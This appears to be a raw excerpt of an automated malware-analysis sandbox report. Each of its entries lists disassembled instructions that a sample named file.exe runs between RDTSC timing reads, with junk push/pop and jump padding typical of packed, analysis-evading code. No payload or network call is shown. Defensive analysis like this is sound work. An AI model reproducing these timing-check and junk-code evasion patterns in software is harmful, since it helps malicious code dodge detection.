Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B9AB second address: 126B9B5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD908C4C6E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B9B5 second address: 126B9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B9BF second address: 126B9C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B9C3 second address: 126B9C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128BEF3 second address: 128BEF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2D13 second address: 12A2D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD9092ECB26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2D1F second address: 12A2D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD908C4C6E6h 0x0000000a popad 0x0000000b jmp 00007FD908C4C6F8h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2D48 second address: 12A2D64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB38h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7555 second address: 12A755B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A755B second address: 12A7565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD9092ECB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A65F3 second address: 12A65F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A65F9 second address: 12A65FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A65FD second address: 12A6601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A68A2 second address: 12A68A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A68A8 second address: 12A68B7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD908C4C6E6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6E44 second address: 12A6E48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6E48 second address: 12A6E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6E54 second address: 12A6E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB7D9 second address: 12AB7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB7E0 second address: 12AB7E5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ABA5C second address: 12ABAAB instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD908C4C6ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b and edx, 63006CB1h 0x00000011 push dword ptr [ebp+1244A896h] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FD908C4C6E8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 sub edx, dword ptr [ebp+122D35ACh] 0x00000037 push 28CE0998h 0x0000003c ja 00007FD908C4C6F0h 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD27C second address: 12AD28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD9092ECB2Ah 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD28F second address: 12AD2AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FD908C4C6F4h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD2AE second address: 12AD2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AED99 second address: 12AED9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AED9F second address: 12AEDA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50502D5 second address: 50502DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, B054h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50502DE second address: 5050304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 jmp 00007FD9092ECB34h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050304 second address: 5050309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504010F second address: 5040115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040115 second address: 5040197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FD908C4C6F9h 0x0000000b or cx, 3656h 0x00000010 jmp 00007FD908C4C6F1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b movzx ecx, dx 0x0000001e jmp 00007FD908C4C6F9h 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007FD908C4C6EEh 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FD908C4C6F7h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070F29 second address: 5070F2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070F2F second address: 5070F90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD908C4C6F0h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov bx, F984h 0x00000017 jmp 00007FD908C4C6EDh 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e jmp 00007FD908C4C6EEh 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD908C4C6F7h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501010C second address: 5010162 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD9092ECB2Bh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FD9092ECB36h 0x00000015 mov ebp, esp 0x00000017 jmp 00007FD9092ECB30h 0x0000001c push dword ptr [ebp+04h] 0x0000001f pushad 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010162 second address: 501022A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 call 00007FD908C4C6F8h 0x0000000a call 00007FD908C4C6F2h 0x0000000f pop esi 0x00000010 pop ebx 0x00000011 popad 0x00000012 push dword ptr [ebp+0Ch] 0x00000015 pushad 0x00000016 pushad 0x00000017 mov ah, 98h 0x00000019 mov edx, 67D77F3Ah 0x0000001e popad 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FD908C4C6F1h 0x00000026 add si, 0BB6h 0x0000002b jmp 00007FD908C4C6F1h 0x00000030 popfd 0x00000031 mov ax, 25A7h 0x00000035 popad 0x00000036 popad 0x00000037 push dword ptr [ebp+08h] 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FD908C4C6EFh 0x00000043 xor eax, 25F138EEh 0x00000049 jmp 00007FD908C4C6F9h 0x0000004e popfd 0x0000004f pushfd 0x00000050 jmp 00007FD908C4C6F0h 0x00000055 add si, 8068h 0x0000005a jmp 00007FD908C4C6EBh 0x0000005f popfd 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501022A second address: 5010242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9092ECB34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501025D second address: 5010266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010266 second address: 501026A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501026A second address: 5010292 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD908C4C6EAh 0x00000008 or ax, D528h 0x0000000d jmp 00007FD908C4C6EBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop ebp 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a movzx esi, bx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030CFF second address: 5030D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030D07 second address: 5030DCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FD908C4C6EEh 0x00000010 pushfd 0x00000011 jmp 00007FD908C4C6F2h 0x00000016 sub cx, 1108h 0x0000001b jmp 00007FD908C4C6EBh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FD908C4C6EFh 0x0000002a sub al, 0000004Eh 0x0000002d jmp 00007FD908C4C6F9h 0x00000032 popfd 0x00000033 pushfd 0x00000034 jmp 00007FD908C4C6F0h 0x00000039 sbb esi, 628905C8h 0x0000003f jmp 00007FD908C4C6EBh 0x00000044 popfd 0x00000045 popad 0x00000046 xchg eax, ebp 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007FD908C4C6EBh 0x00000050 jmp 00007FD908C4C6F3h 0x00000055 popfd 0x00000056 pushad 0x00000057 popad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030DCA second address: 5030DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9092ECB32h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030DE0 second address: 5030DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50308D1 second address: 50308D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50308D5 second address: 50308DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50308DB second address: 5030916 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 pushfd 0x00000006 jmp 00007FD9092ECB2Dh 0x0000000b and cl, FFFFFF96h 0x0000000e jmp 00007FD9092ECB31h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD9092ECB2Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030916 second address: 503094C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 9882h 0x00000007 mov edi, 4C41BACEh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 mov al, AFh 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a mov esi, edi 0x0000001c push eax 0x0000001d push edx 0x0000001e call 00007FD908C4C6F7h 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503094C second address: 5030967 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 jmp 00007FD9092ECB2Bh 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030967 second address: 503096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503096B second address: 5030971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030971 second address: 503098E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503098E second address: 5030992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030758 second address: 5030767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030767 second address: 50307DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD9092ECB2Fh 0x00000009 sbb eax, 6125EDBEh 0x0000000f jmp 00007FD9092ECB39h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FD9092ECB30h 0x0000001b or ax, 76B8h 0x00000020 jmp 00007FD9092ECB2Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a jmp 00007FD9092ECB36h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push eax 0x00000034 pop edi 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50307DF second address: 50307F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50307F9 second address: 50307FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50307FD second address: 5030801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030801 second address: 5030807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030807 second address: 503086F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 4F7FE2AFh 0x00000008 pushfd 0x00000009 jmp 00007FD908C4C6F4h 0x0000000e xor ecx, 2B1535D8h 0x00000014 jmp 00007FD908C4C6EBh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FD908C4C6EBh 0x00000028 xor ax, D89Eh 0x0000002d jmp 00007FD908C4C6F9h 0x00000032 popfd 0x00000033 mov ecx, 44D5A467h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503086F second address: 5030875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030875 second address: 5030879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030879 second address: 50308A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushfd 0x0000000f jmp 00007FD9092ECB2Ah 0x00000014 adc eax, 37B3B9C8h 0x0000001a jmp 00007FD9092ECB2Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50308A5 second address: 50308AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50308AB second address: 50308AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303BF second address: 50303C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303C6 second address: 50303F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD9092ECB32h 0x00000008 movzx esi, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD9092ECB33h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303F7 second address: 5030461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 jmp 00007FD908C4C6EBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FD908C4C6EBh 0x00000017 add si, C77Eh 0x0000001c jmp 00007FD908C4C6F9h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FD908C4C6F0h 0x00000028 jmp 00007FD908C4C6F5h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030461 second address: 50304AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007FD9092ECB33h 0x0000000c and ecx, 20B896EEh 0x00000012 jmp 00007FD9092ECB39h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD9092ECB2Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50304AF second address: 50304FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD908C4C6F7h 0x00000009 xor ax, E1AEh 0x0000000e jmp 00007FD908C4C6F9h 0x00000013 popfd 0x00000014 mov dl, ah 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a pushad 0x0000001b mov edi, 68CA6F3Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 mov bx, B1E6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404BD second address: 50404D5 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 0DE6E2D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD9092ECB2Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404D5 second address: 50404F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD908C4C6EFh 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404F5 second address: 50404FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404FA second address: 504050C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov bh, F8h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504050C second address: 504051B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504051B second address: 5040521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040521 second address: 5040525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040525 second address: 504055A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a movsx ebx, si 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FD908C4C6F4h 0x00000015 adc si, 3E38h 0x0000001a jmp 00007FD908C4C6EBh 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505063D second address: 5050643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050643 second address: 505065B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505065B second address: 505065F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505065F second address: 5050671 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050671 second address: 5050683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9092ECB2Eh 0x00000009 rdtsc
